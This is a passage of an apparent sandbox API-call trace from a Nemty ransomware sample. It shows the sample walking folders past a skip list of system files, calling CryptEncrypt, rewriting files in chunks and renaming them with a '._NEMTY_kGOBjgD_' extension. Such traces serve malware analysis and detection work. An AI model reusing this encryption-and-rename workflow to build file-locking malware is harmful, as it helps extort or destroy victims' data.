lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.878] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.884] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.884] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.884] CloseHandle (hObject=0xffffffff) returned 0 [0065.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0065.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0065.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x63401b8 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.884] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png._nemty_kgobjgd_")) returned 0 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0065.884] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ba24f8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ba24f8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="...") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="windows") returned -1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="$RECYCLE.BIN") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="rsa") returned -1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="NTDETECT.COM") returned -1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntldr") returned -1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="MSDOS.SYS") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="IO.SYS") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="AUTOEXEC.BAT") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="CONFIG.SYS") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="RECYCLER") returned -1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="BOOTSECT.BAK") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="programdata") returned -1 [0065.885] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="appdata") returned 1 [0065.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0065.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0065.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0065.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943d0 [0065.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0065.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0065.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943d0 | out: hHeap=0x4f90000) returned 1 [0065.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0065.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0065.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0065.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0065.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0065.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0065.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0065.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0065.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 32 [0065.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0065.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0065.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0065.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0065.886] Sleep (dwMilliseconds=0x5) [0065.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdaebf4b0, dwHighDateTime=0x1d561e7)) [0065.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdaebf4b0, dwHighDateTime=0x1d561e7)) [0065.892] GetLastError () returned 0x5 [0065.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.892] GetLastError () returned 0x5 [0065.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.892] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0065.892] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0065.893] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0065.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0065.893] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="ogTcAMLWBEUOnKfCqQY6/+4dqqz/f5D4+12lOHc/TxCByeXuGXBsIcPtFrWUz3Fu\r\nyXDIreUc0OMtrbvtBQ9HSmVN1ZIltT5ADPbq0pAbNjOVe7vOmFm0ege5lhfPce1H\r\nBNdeWbaVNexDsS0MbMA91bJtX1g9QsZZTmDmZfcpMWltxozD3hcNXIUJOL3mCk16\r\niJDy1gJ80AWvnFVpDyGOg6cisy6TA1wn8vOJOHDiWzPmUA3J04bO6d3HBJRSQCyw\r\nzmgGPjb1V5ccteVddhCMhnF42FRXAjGie7LnfDLxJwxACyDWzSeabFrLWgQ/TsyG\r\nH4x++T/0QZb3k61oeyd6KA==\r\n", pcchString=0x653e91c) returned 1 [0065.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0065.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0065.893] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0065.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0065.893] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0065.893] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.894] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0065.894] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0065.894] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.894] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.903] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.903] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.913] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.913] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.913] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.922] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.922] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.922] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.931] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.931] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.932] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.932] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.941] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.941] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.941] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.951] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.951] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.951] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.960] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.960] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.960] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.969] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.969] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.969] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.979] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.979] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.979] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.988] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.988] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.989] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.994] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.995] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.995] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.995] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.001] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.001] CloseHandle (hObject=0xffffffff) returned 0 [0066.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0066.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.001] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.001] HeapFree (in: 